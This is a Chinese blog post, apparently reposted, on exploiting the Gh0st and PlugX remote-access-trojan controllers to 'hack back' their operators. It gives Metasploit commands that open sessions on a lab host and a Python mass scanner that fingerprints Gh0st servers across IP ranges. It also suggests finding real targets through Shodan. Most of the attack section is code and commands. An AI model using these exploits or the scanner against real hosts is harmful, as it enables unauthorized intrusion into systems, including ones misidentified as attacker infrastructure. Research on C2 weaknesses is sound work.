HackingBackRATs

Hacking back RATs

作者:Hiina@NiXiTeam

在 blackhat2017,@professor__plum 爆料了几款常见远控(Xtreme、PlugX、Gh0st)的远程溢出。随后 msf 也更新了 EXP,并给出了测试用例。

模拟测试

Gh0st

首先测试 gh0st,这款远控比较久远了,大家应该很熟悉了。

运行 gh0st,得知默认监听端口为80,测试机地址10.211.55.3:

gh0st1

从github下载利用脚本,放到msf的目录里面,我们就可以开始测试了。

gh0st2

脚本默认监听端口是80,我们只需要设置一下RHOST就能执行执行:

use exploit/windows/misc/gh0st
set RHOST 10.211.55.3
exploit

gh0st3

可以看到已经返回了一个session,gh0st溢出测试成功。

PlugX

PlugX 默认监听端口为13579:

plugx1

执行命令:

use exploit/windows/misc/plugx
set RHOST 10.211.5.3
set target 1
check

plugx2

可以清楚的看到目标存在漏洞。
接着执行exploit:

plugx3

session会话创建,测试成功。

批量检测

Gh0st

以gh0st为例,通过Fuzz测试分析流量,发现当发送数据为任意十四个字符时,gh0st服务端返回五位特定字符,原版为「Gh0st」。以之作为检测条件,写脚本如下:

#__*__ coding:utf-8 __*__
import socket
import sys
import IPy
import gevent
from gevent import monkey
monkey.patch_all()
from gevent.pool import Pool

def gh0st(ip, port=80):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((ip, int(port)))
        data = 'a' * 14
        s.send(data)
        result = s.recv(10)
        if result:
            if len(result) == 5:
                print 'find str: '+result+' at '+ip+':'+str(port)
        s.close()
    except:pass
    # except Exception as e:
        # raise e

def ip2num(ip):
    ip = [int(x) for x in ip.split('.')]
    return ip[0] <<24 | ip[1]<<16 | ip[2]<<8 |ip[3]

def num2ip(num):
    return '%s.%s.%s.%s' %( (num & 0xff000000) >>24,
                            (num & 0x00ff0000) >>16,
                            (num & 0x0000ff00) >>8,
                            num & 0x000000ff )
def get_ip(ip):
    start,end = [ip2num(x) for x in ip.split('-') ]
    return [ num2ip(num) for num in range(start,end+1) if num & 0xff ]

ipQueue = []
def iplist2queue():
    for x in iplist:
        ipQueue.append(str(x))

def run():
    p = Pool(100)
    while len(ipQueue)>0:
        p.spawn(gh0st, ipQueue.pop(), port)
    p.join()

if __name__ == '__main__':
    print '\r'
    if len(sys.argv) < 3:
            print 'Usage:\t'+sys.argv[0]+' ip port'
            sys.exit()
    ip = sys.argv[1]
    port = sys.argv[2]
    if ip.find('-')>=0:
        iplist = get_ip(ip)
        iplist2queue()
    elif ip.find('/')>=0:
        ip = ip.split("/")
        iplist = IPy.IP(ip[0]).make_net('255.255.255.0')
        iplist2queue()
    else:
        ipQueue.append(ip)
    try:
        run()
    except:pass

通过shadon筛选目标,以提高命中率。

*检测结果过于敏感,匿。

参考

  1. Stack overflow in PlugX RAT
  2. Digital Vengeance Exploiting the Most Notorious C&C Toolkits

转载于:https://www.cnblogs.com/-bi-/p/7490440.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值